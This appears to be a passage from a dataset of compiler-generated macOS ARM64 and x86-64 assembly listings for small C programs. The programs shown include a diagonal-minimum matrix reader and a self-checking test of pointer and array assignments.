## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 4 ## 0x4 .long 9 ## 0x9 .long 5 ## 0x5 .long 5 ## 0x5 .long 12 ## 0xc .long 9 ## 0x9 .long 6 ## 0x6 .long 1 ## 0x1 .long 12 ## 0xc .long 8 ## 0x8 .long 10 ## 0xa .long 10 ## 0xa .long 11 ## 0xb .long 6 ## 0x6 .long 3 ## 0x3 .long 4 ## 0x4 .long 3 ## 0x3 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 6 ## 0x6 .long 10 ## 0xa .long 1 ## 0x1 .long 5 ## 0x5 .long 5 ## 0x5 .long 12 ## 0xc .long 9 ## 0x9 .long 12 ## 0xc .long 10 ## 0xa .long 9 ## 0x9 .long 5 ## 0x5 .long 12 ## 0xc .long 0 ## 0x0 .long 1 ## 0x1 .long 7 ## 0x7 .long 5 ## 0x5 .long 14 ## 0xe .long 9 ## 0x9 .long 7 ## 0x7 .long 5 ## 0x5 .long 5 ## 0x5 .long 6 ## 0x6 .long 2 ## 0x2 .long 1 ## 0x1 .long 13 ## 0xd .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 12 ## 0xc .long 0 ## 0x0 .long 10 ## 0xa .long 1 ## 0x1 .long 12 ## 0xc .long 1 ## 0x1 .long 6 ## 0x6 .long 10 ## 0xa .long 9 ## 0x9 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 7 ## 0x7 .long 12 ## 0xc .long 3 ## 0x3 .long 5 ## 0x5 .long 4 ## 0x4 .long 10 ## 0xa .long 10 ## 0xa .long 0 ## 0x0 .long 2 ## 0x2 .long 2 ## 0x2 .long 1 ## 0x1 .long 7 ## 0x7 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 5 ## 0x5 .long 12 ## 0xc .long 2 ## 0x2 .long 11 ## 0xb .long 5 ## 0x5 .long 4 ## 0x4 .long 10 ## 0xa .long 10 ## 0xa .long 2 ## 0x2 .long 10 ## 0xa .long 10 ## 0xa .long 1 ## 0x1 .long 13 ## 0xd .long 5 ## 0x5 .long 6 ## 0x6 .long 1 ## 0x1 .long 5 ## 0x5 .long 4 ## 0x4 .long 10 ## 0xa .long 10 ## 0xa .long 1 ## 0x1 .long 4 ## 0x4 .long 10 ## 0xa .long 10 ## 0xa .long 8 ## 0x8 .long 10 ## 0xa .long 10 ## 0xa .long 3 ## 0x3 .long 5 ## 0x5 .long 4 ## 0x4 .long 9 ## 0x9 .long 5 ## 0x5 .long 5 ## 0x5 .long 6 ## 0x6 .long 10 ## 0xa .long 10 ## 0xa .long 1 ## 0x1 .long 4 ## 0x4 .long 10 ## 0xa .long 10 ## 0xa .long 2 ## 0x2 .long 10 ## 0xa .long 10 ## 0xa .long 9 ## 0x9 .long 5 ## 0x5 .long 7 ## 0x7 .long 5 ## 0x5 .long 5 ## 0x5 .long 4 ## 0x4 .long 10 ## 0xa .long 10 ## 0xa .long 9 ## 0x9 .long 6 ## 0x6 .long 2 ## 0x2 .long 10 ## 0xa .long 8 ## 0x8 .long 10 ## 0xa .long 10 ## 0xa .long 9 ## 0x9 .long 6 ## 0x6 .long 2 ## 0x2 .long 10 ## 0xa .long 3 ## 0x3 .long 5 ## 0x5 .long 6 ## 0x6 .long 10 ## 0xa .long 10 ## 0xa .long 2 ## 0x2 .long 10 ## 0xa .long 10 ## 0xa .long 10 ## 0xa .long 2 ## 0x2 .long 10 ## 0xa .long 11 ## 0xb .long 6 ## 0x6 .long 10 ## 0xa .long 10 ## 0xa .long 10 ## 0xa .long 10 ## 0xa .long 3 ## 0x3 .subsections_via_symbols
the_stack_data/165764899.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #464 .cfi_def_cfa_offset 464 stp x28, x27, [sp, #432] ; 16-byte Folded Spill stp x29, x30, [sp, #448] ; 16-byte Folded Spill add x29, sp, #448 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str wzr, [sp, #20] str wzr, [sp, #16] b LBB0_1 LBB0_1: ; =>This Loop Header: Depth=1 ; Child Loop BB0_3 Depth 2 ldr w8, [sp, #16] subs w8, w8, #10 cset w8, ge tbnz w8, #0, LBB0_8 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 str wzr, [sp, #12] b LBB0_3 LBB0_3: ; Parent Loop BB0_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #12] subs w8, w8, #10 cset w8, ge tbnz w8, #0, LBB0_6 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=2 ldrsw x8, [sp, #16] mov x9, #40 mul x9, x8, x9 add x8, sp, #24 add x8, x8, x9 ldrsw x9, [sp, #12] add x8, x8, x9, lsl #2 mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf b LBB0_5 LBB0_5: ; in Loop: Header=BB0_3 Depth=2 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB0_3 LBB0_6: ; in Loop: Header=BB0_1 Depth=1 b LBB0_7 LBB0_7: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB0_1 LBB0_8: ldr w8, [sp, #24] str w8, [sp, #8] str wzr, [sp, #16] b LBB0_9 LBB0_9: ; =>This Loop Header: Depth=1 ; Child Loop BB0_11 Depth 2 ldr w8, [sp, #16] subs w8, w8, #10 cset w8, ge tbnz w8, #0, LBB0_19 b LBB0_10 LBB0_10: ; in Loop: Header=BB0_9 Depth=1 str wzr, [sp, #12] b LBB0_11 LBB0_11: ; Parent Loop BB0_9 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #12] subs w8, w8, #10 cset w8, ge tbnz w8, #0, LBB0_17 b LBB0_12 LBB0_12: ; in Loop: Header=BB0_11 Depth=2 ldr w8, [sp, #16] ldr w9, [sp, #12] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB0_15 b LBB0_13 LBB0_13: ; in Loop: Header=BB0_11 Depth=2 ldrsw x8, [sp, #16] mov x9, #40 mul x9, x8, x9 add x8, sp, #24 add x8, x8, x9 ldrsw x9, [sp, #12] ldr w8, [x8, x9, lsl #2] ldr w9, [sp, #8] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_15 b LBB0_14 LBB0_14: ; in Loop: Header=BB0_11 Depth=2 ldrsw x8, [sp, #16] mov x9, #40 mul x9, x8, x9 add x8, sp, #24 add x8, x8, x9 ldrsw x9, [sp, #12] ldr w8, [x8, x9, lsl #2] str w8, [sp, #8] b LBB0_15 LBB0_15: ; in Loop: Header=BB0_11 Depth=2 b LBB0_16 LBB0_16: ; in Loop: Header=BB0_11 Depth=2 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB0_11 LBB0_17: ; in Loop: Header=BB0_9 Depth=1 b LBB0_18 LBB0_18: ; in Loop: Header=BB0_9 Depth=1 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB0_9 LBB0_19: ldr w9, [sp, #8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_21 b LBB0_20 LBB0_20: bl ___stack_chk_fail LBB0_21: mov w0, #0 ldp x29, x30, [sp, #448] ; 16-byte Folded Reload ldp x28, x27, [sp, #432] ; 16-byte Folded Reload add sp, sp, #464 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $432, %rsp ## imm = 0x1B0 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -420(%rbp) movl $0, -424(%rbp) LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_3 Depth 2 cmpl $10, -424(%rbp) jge LBB0_8 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl $0, -428(%rbp) LBB0_3: ## Parent Loop BB0_1 Depth=1 ## => This Inner Loop Header: Depth=2 cmpl $10, -428(%rbp) jge LBB0_6 ## %bb.4: ## in Loop: Header=BB0_3 Depth=2 movslq -424(%rbp), %rax leaq -416(%rbp), %rsi imulq $40, %rax, %rax addq %rax, %rsi movslq -428(%rbp), %rax shlq $2, %rax addq %rax, %rsi leaq L_.str(%rip), %rdi movb $0, %al callq _scanf ## %bb.5: ## in Loop: Header=BB0_3 Depth=2 movl -428(%rbp), %eax addl $1, %eax movl %eax, -428(%rbp) jmp LBB0_3 LBB0_6: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_7 LBB0_7: ## in Loop: Header=BB0_1 Depth=1 movl -424(%rbp), %eax addl $1, %eax movl %eax, -424(%rbp) jmp LBB0_1 LBB0_8: movl -416(%rbp), %eax movl %eax, -432(%rbp) movl $0, -424(%rbp) LBB0_9: ## =>This Loop Header: Depth=1 ## Child Loop BB0_11 Depth 2 cmpl $10, -424(%rbp) jge LBB0_19 ## %bb.10: ## in Loop: Header=BB0_9 Depth=1 movl $0, -428(%rbp) LBB0_11: ## Parent Loop BB0_9 Depth=1 ## => This Inner Loop Header: Depth=2 cmpl $10, -428(%rbp) jge LBB0_17 ## %bb.12: ## in Loop: Header=BB0_11 Depth=2 movl -424(%rbp), %eax cmpl -428(%rbp), %eax jne LBB0_15 ## %bb.13: ## in Loop: Header=BB0_11 Depth=2 movslq -424(%rbp), %rcx leaq -416(%rbp), %rax imulq $40, %rcx, %rcx addq %rcx, %rax movslq -428(%rbp), %rcx movl (%rax,%rcx,4), %eax cmpl -432(%rbp), %eax jge LBB0_15 ## %bb.14: ## in Loop: Header=BB0_11 Depth=2 movslq -424(%rbp), %rcx leaq -416(%rbp), %rax imulq $40, %rcx, %rcx addq %rcx, %rax movslq -428(%rbp), %rcx movl (%rax,%rcx,4), %eax movl %eax, -432(%rbp) LBB0_15: ## in Loop: Header=BB0_11 Depth=2 jmp LBB0_16 LBB0_16: ## in Loop: Header=BB0_11 Depth=2 movl -428(%rbp), %eax addl $1, %eax movl %eax, -428(%rbp) jmp LBB0_11 LBB0_17: ## in Loop: Header=BB0_9 Depth=1 jmp LBB0_18 LBB0_18: ## in Loop: Header=BB0_9 Depth=1 movl -424(%rbp), %eax addl $1, %eax movl %eax, -424(%rbp) jmp LBB0_9 LBB0_19: movl -432(%rbp), %esi leaq L_.str(%rip), %rdi movb $0, %al callq _printf movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_21 ## %bb.20: xorl %eax, %eax addq $432, %rsp ## imm = 0x1B0 popq %rbp retq LBB0_21: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d" .subsections_via_symbols
the_stack_data/3263821.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .comm _X_array,1,0 ; @X_array .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .comm _X_array,1,0 ## @X_array .subsections_via_symbols
the_stack_data/243893902.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #272 .cfi_def_cfa_offset 272 stp x28, x27, [sp, #240] ; 16-byte Folded Spill stp x29, x30, [sp, #256] ; 16-byte Folded Spill add x29, sp, #256 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] stur wzr, [x29, #-108] mov w8, #3 stur w8, [x29, #-112] ldur w9, [x29, #-112] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: mov w8, #1 stur w8, [x29, #-108] b LBB0_63 LBB0_2: sub x10, x29, #116 mov w8, #3 stur w8, [x29, #-116] add x9, sp, #128 str x10, [sp, #128] str x9, [sp, #120] ldr x9, [sp, #120] ldr x9, [x9] ldr w9, [x9] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: mov w8, #2 stur w8, [x29, #-108] b LBB0_63 LBB0_4: mov w8, #3 str w8, [sp, #116] mov w8, #5 str w8, [sp, #112] ldr w9, [sp, #120] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: mov w8, #3 stur w8, [x29, #-108] b LBB0_63 LBB0_6: mov w8, #3 str w8, [sp, #108] add x9, sp, #104 mov w10, #5 str w10, [sp, #104] ldur w9, [x9, #-4] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: mov w8, #4 stur w8, [x29, #-108] b LBB0_63 LBB0_8: mov w8, #3 str w8, [sp, #100] mov w8, #5 str w8, [sp, #96] ldr w9, [sp, #104] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: mov w8, #5 stur w8, [x29, #-108] b LBB0_63 LBB0_10: add x8, sp, #92 mov w9, #3 str w9, [sp, #92] str x8, [sp, #80] ldr x9, [sp, #80] mov w8, #5 str w8, [x9] ldr w9, [sp, #92] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_12 b LBB0_11 LBB0_11: mov w8, #6 stur w8, [x29, #-108] b LBB0_63 LBB0_12: mov w8, #3 str w8, [sp, #76] mov w8, #5 str w8, [sp, #72] mov w8, #7 str w8, [sp, #80] ldr w9, [sp, #72] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_14 b LBB0_13 LBB0_13: mov w8, #7 stur w8, [x29, #-108] b LBB0_63 LBB0_14: mov w8, #3 str w8, [sp, #68] add x9, sp, #64 mov w8, #5 str w8, [sp, #64] mov w8, #7 stur w8, [x9, #-4] ldr w9, [sp, #68] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_16 b LBB0_15 LBB0_15: mov w8, #8 stur w8, [x29, #-108] b LBB0_63 LBB0_16: mov w8, #3 str w8, [sp, #60] str w8, [sp, #56] mov w8, #5 str w8, [sp, #52] ldr w8, [sp, #56] ldr w9, [sp, #52] add w9, w8, w9 mov w8, #8 subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_18 b LBB0_17 LBB0_17: mov w8, #10 stur w8, [x29, #-108] b LBB0_63 LBB0_18: mov w8, #3 str w8, [sp, #48] mov w8, #5 str w8, [sp, #44] ldr w8, [sp, #48] ldr w9, [sp, #44] add w9, w8, w9 mov w8, #8 subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_20 b LBB0_19 LBB0_19: mov w8, #11 stur w8, [x29, #-108] b LBB0_63 LBB0_20: sub x8, x29, #32 str x8, [sp, #32] ldr x9, [sp, #32] mov w8, #3 str w8, [x9] ldur w9, [x29, #-32] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_22 b LBB0_21 LBB0_21: mov w8, #12 stur w8, [x29, #-108] b LBB0_63 LBB0_22: mov w8, #3 stur w8, [x29, #-44] mov w9, #4 stur w9, [x29, #-40] mov w9, #5 stur w9, [x29, #-36] ldur w9, [x29, #-44] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_24 b LBB0_23 LBB0_23: mov w8, #13 stur w8, [x29, #-108] b LBB0_63 LBB0_24: ldur w9, [x29, #-40] mov w8, #4 subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_26 b LBB0_25 LBB0_25: mov w8, #14 stur w8, [x29, #-108] b LBB0_63 LBB0_26: ldur w9, [x29, #-36] mov w8, #5 subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_28 b LBB0_27 LBB0_27: mov w8, #15 stur w8, [x29, #-108] b LBB0_63 LBB0_28: sub x8, x29, #68 str x8, [sp, #24] ldr x9, [sp, #24] mov w8, #0 str wzr, [x9] ldur w9, [x29, #-68] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_30 b LBB0_29 LBB0_29: mov w8, #16 stur w8, [x29, #-108] b LBB0_63 LBB0_30: ldr x9, [sp, #24] mov w8, #1 str w8, [x9, #4] ldur w9, [x29, #-64] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_32 b LBB0_31 LBB0_31: mov w8, #17 stur w8, [x29, #-108] b LBB0_63 LBB0_32: ldr x9, [sp, #24] mov w8, #2 str w8, [x9, #8] ldur w9, [x29, #-60] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_34 b LBB0_33 LBB0_33: mov w8, #18 stur w8, [x29, #-108] b LBB0_63 LBB0_34: ldr x9, [sp, #24] mov w8, #3 str w8, [x9, #12] ldur w9, [x29, #-56] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_36 b LBB0_35 LBB0_35: mov w8, #19 stur w8, [x29, #-108] b LBB0_63 LBB0_36: ldr x9, [sp, #24] mov w8, #4 str w8, [x9, #16] ldur w9, [x29, #-52] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_38 b LBB0_37 LBB0_37: mov w8, #20 stur w8, [x29, #-108] b LBB0_63 LBB0_38: ldr x9, [sp, #24] mov w8, #5 str w8, [x9, #20] ldur w9, [x29, #-48] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_40 b LBB0_39 LBB0_39: mov w8, #21 stur w8, [x29, #-108] b LBB0_63 LBB0_40: mov w8, #3 stur w8, [x29, #-80] mov w9, #4 stur w9, [x29, #-76] mov w9, #5 stur w9, [x29, #-72] ldur w9, [x29, #-80] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_42 b LBB0_41 LBB0_41: mov w8, #22 stur w8, [x29, #-108] b LBB0_63 LBB0_42: ldur w9, [x29, #-76] mov w8, #4 subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_44 b LBB0_43 LBB0_43: mov w8, #23 stur w8, [x29, #-108] b LBB0_63 LBB0_44: ldur w9, [x29, #-72] mov w8, #5 subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_46 b LBB0_45 LBB0_45: mov w8, #24 stur w8, [x29, #-108] b LBB0_63 LBB0_46: ldur w9, [x29, #-72] mov w8, #5 subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_48 b LBB0_47 LBB0_47: mov w8, #25 stur w8, [x29, #-108] b LBB0_63 LBB0_48: mov w8, #6 stur w8, [x29, #-72] ldur w9, [x29, #-72] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_50 b LBB0_49 LBB0_49: mov w8, #26 stur w8, [x29, #-108] b LBB0_63 LBB0_50: sub x8, x29, #104 str x8, [sp, #16] ldr x9, [sp, #16] mov w8, #0 str wzr, [x9] ldur w9, [x29, #-104] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_52 b LBB0_51 LBB0_51: mov w8, #23 stur w8, [x29, #-108] b LBB0_63 LBB0_52: ldr x9, [sp, #16] mov w8, #1 str w8, [x9, #4] ldur w9, [x29, #-100] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_54 b LBB0_53 LBB0_53: mov w8, #24 stur w8, [x29, #-108] b LBB0_63 LBB0_54: ldr x9, [sp, #16] mov w8, #2 str w8, [x9, #8] ldur w9, [x29, #-96] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_56 b LBB0_55 LBB0_55: mov w8, #25 stur w8, [x29, #-108] b LBB0_63 LBB0_56: ldr x9, [sp, #16] mov w8, #3 str w8, [x9, #12] ldur w9, [x29, #-92] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_58 b LBB0_57 LBB0_57: mov w8, #26 stur w8, [x29, #-108] b LBB0_63 LBB0_58: ldr x9, [sp, #16] mov w8, #4 str w8, [x9, #16] ldur w9, [x29, #-88] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_60 b LBB0_59 LBB0_59: mov w8, #27 stur w8, [x29, #-108] b LBB0_63 LBB0_60: ldr x9, [sp, #16] mov w8, #5 str w8, [x9, #20] ldur w9, [x29, #-84] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_62 b LBB0_61 LBB0_61: mov w8, #28 stur w8, [x29, #-108] b LBB0_63 LBB0_62: adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf stur wzr, [x29, #-108] b LBB0_63 LBB0_63: ldur w8, [x29, #-108] str w8, [sp, #12] ; 4-byte Folded Spill ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_65 b LBB0_64 LBB0_64: bl ___stack_chk_fail LBB0_65: ldr w0, [sp, #12] ; 4-byte Folded Reload ldp x29, x30, [sp, #256] ; 16-byte Folded Reload ldp x28, x27, [sp, #240] ; 16-byte Folded Reload add sp, sp, #272 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "OK\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $256, %rsp ## imm = 0x100 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -116(%rbp) movl $3, -120(%rbp) movl $3, %eax cmpl -120(%rbp), %eax je LBB0_2 ## %bb.1: movl $1, -116(%rbp) jmp LBB0_63 LBB0_2: movl $3, -124(%rbp) leaq -124(%rbp), %rax movq %rax, -136(%rbp) leaq -136(%rbp), %rax movq %rax, -144(%rbp) movq -144(%rbp), %rax movq (%rax), %rcx movl $3, %eax cmpl (%rcx), %eax je LBB0_4 ## %bb.3: movl $2, -116(%rbp) jmp LBB0_63 LBB0_4: movl $3, -148(%rbp) movl $5, -152(%rbp) movl $5, %eax cmpl -144(%rbp), %eax je LBB0_6 ## %bb.5: movl $3, -116(%rbp) jmp LBB0_63 LBB0_6: movl $3, -156(%rbp) movl $5, -160(%rbp) movl $3, %eax cmpl -164(%rbp), %eax je LBB0_8 ## %bb.7: movl $4, -116(%rbp) jmp LBB0_63 LBB0_8: movl $3, -164(%rbp) movl $5, -168(%rbp) movl $5, %eax cmpl -160(%rbp), %eax je LBB0_10 ## %bb.9: movl $5, -116(%rbp) jmp LBB0_63 LBB0_10: movl $3, -172(%rbp) leaq -172(%rbp), %rax movq %rax, -184(%rbp) movq -184(%rbp), %rax movl $5, (%rax) movl $5, %eax cmpl -172(%rbp), %eax je LBB0_12 ## %bb.11: movl $6, -116(%rbp) jmp LBB0_63 LBB0_12: movl $3, -188(%rbp) movl $5, -192(%rbp) movl $7, -184(%rbp) movl $7, %eax cmpl -192(%rbp), %eax je LBB0_14 ## %bb.13: movl $7, -116(%rbp) jmp LBB0_63 LBB0_14: movl $3, -196(%rbp) movl $5, -200(%rbp) movl $7, -204(%rbp) movl $7, %eax cmpl -196(%rbp), %eax je LBB0_16 ## %bb.15: movl $8, -116(%rbp) jmp LBB0_63 LBB0_16: movl $3, -204(%rbp) movl $3, -208(%rbp) movl $5, -212(%rbp) movl -208(%rbp), %ecx addl -212(%rbp), %ecx movl $8, %eax cmpl %ecx, %eax je LBB0_18 ## %bb.17: movl $10, -116(%rbp) jmp LBB0_63 LBB0_18: movl $3, -216(%rbp) movl $5, -220(%rbp) movl -216(%rbp), %ecx addl -220(%rbp), %ecx movl $8, %eax cmpl %ecx, %eax je LBB0_20 ## %bb.19: movl $11, -116(%rbp) jmp LBB0_63 LBB0_20: leaq -16(%rbp), %rax movq %rax, -232(%rbp) movq -232(%rbp), %rax movl $3, (%rax) movl $3, %eax cmpl -16(%rbp), %eax je LBB0_22 ## %bb.21: movl $12, -116(%rbp) jmp LBB0_63 LBB0_22: movl $3, -28(%rbp) movl $4, -24(%rbp) movl $5, -20(%rbp) movl $3, %eax cmpl -28(%rbp), %eax je LBB0_24 ## %bb.23: movl $13, -116(%rbp) jmp LBB0_63 LBB0_24: movl $4, %eax cmpl -24(%rbp), %eax je LBB0_26 ## %bb.25: movl $14, -116(%rbp) jmp LBB0_63 LBB0_26: movl $5, %eax cmpl -20(%rbp), %eax je LBB0_28 ## %bb.27: movl $15, -116(%rbp) jmp LBB0_63 LBB0_28: leaq -64(%rbp), %rax movq %rax, -240(%rbp) movq -240(%rbp), %rax movl $0, (%rax) xorl %eax, %eax cmpl -64(%rbp), %eax je LBB0_30 ## %bb.29: movl $16, -116(%rbp) jmp LBB0_63 LBB0_30: movq -240(%rbp), %rax movl $1, 4(%rax) movl $1, %eax cmpl -60(%rbp), %eax je LBB0_32 ## %bb.31: movl $17, -116(%rbp) jmp LBB0_63 LBB0_32: movq -240(%rbp), %rax movl $2, 8(%rax) movl $2, %eax cmpl -56(%rbp), %eax je LBB0_34 ## %bb.33: movl $18, -116(%rbp) jmp LBB0_63 LBB0_34: movq -240(%rbp), %rax movl $3, 12(%rax) movl $3, %eax cmpl -52(%rbp), %eax je LBB0_36 ## %bb.35: movl $19, -116(%rbp) jmp LBB0_63 LBB0_36: movq -240(%rbp), %rax movl $4, 16(%rax) movl $4, %eax cmpl -48(%rbp), %eax je LBB0_38 ## %bb.37: movl $20, -116(%rbp) jmp LBB0_63 LBB0_38: movq -240(%rbp), %rax movl $5, 20(%rax) movl $5, %eax cmpl -44(%rbp), %eax je LBB0_40 ## %bb.39: movl $21, -116(%rbp) jmp LBB0_63 LBB0_40: movl $3, -76(%rbp) movl $4, -72(%rbp) movl $5, -68(%rbp) movl $3, %eax cmpl -76(%rbp), %eax je LBB0_42 ## %bb.41: movl $22, -116(%rbp) jmp LBB0_63 LBB0_42: movl $4, %eax cmpl -72(%rbp), %eax je LBB0_44 ## %bb.43: movl $23, -116(%rbp) jmp LBB0_63 LBB0_44: movl $5, %eax cmpl -68(%rbp), %eax je LBB0_46 ## %bb.45: movl $24, -116(%rbp) jmp LBB0_63 LBB0_46: movl $5, %eax cmpl -68(%rbp), %eax je LBB0_48 ## %bb.47: movl $25, -116(%rbp) jmp LBB0_63 LBB0_48: movl $6, -68(%rbp) movl $6, %eax cmpl -68(%rbp), %eax je LBB0_50 ## %bb.49: movl $26, -116(%rbp) jmp LBB0_63 LBB0_50: leaq -112(%rbp), %rax movq %rax, -248(%rbp) movq -248(%rbp), %rax movl $0, (%rax) xorl %eax, %eax cmpl -112(%rbp), %eax je LBB0_52 ## %bb.51: movl $23, -116(%rbp) jmp LBB0_63 LBB0_52: movq -248(%rbp), %rax movl $1, 4(%rax) movl $1, %eax cmpl -108(%rbp), %eax je LBB0_54 ## %bb.53: movl $24, -116(%rbp) jmp LBB0_63 LBB0_54: movq -248(%rbp), %rax movl $2, 8(%rax) movl $2, %eax cmpl -104(%rbp), %eax je LBB0_56 ## %bb.55: movl $25, -116(%rbp) jmp LBB0_63 LBB0_56: movq -248(%rbp), %rax movl $3, 12(%rax) movl $3, %eax cmpl -100(%rbp), %eax je LBB0_58 ## %bb.57: movl $26, -116(%rbp) jmp LBB0_63 LBB0_58: movq -248(%rbp), %rax movl $4, 16(%rax) movl $4, %eax cmpl -96(%rbp), %eax je LBB0_60 ## %bb.59: movl $27, -116(%rbp) jmp LBB0_63 LBB0_60: movq -248(%rbp), %rax movl $5, 20(%rax) movl $5, %eax cmpl -92(%rbp), %eax je LBB0_62 ## %bb.61: movl $28, -116(%rbp) jmp LBB0_63 LBB0_62: leaq L_.str(%rip), %rdi movb $0, %al callq _printf movl $0, -116(%rbp) LBB0_63: movl -116(%rbp), %eax movl %eax, -252(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_65 ## %bb.64: movl -252(%rbp), %eax ## 4-byte Reload addq $256, %rsp ## imm = 0x100 popq %rbp retq LBB0_65: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "OK\n" .subsections_via_symbols
the_stack_data/97012539.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .subsections_via_symbols
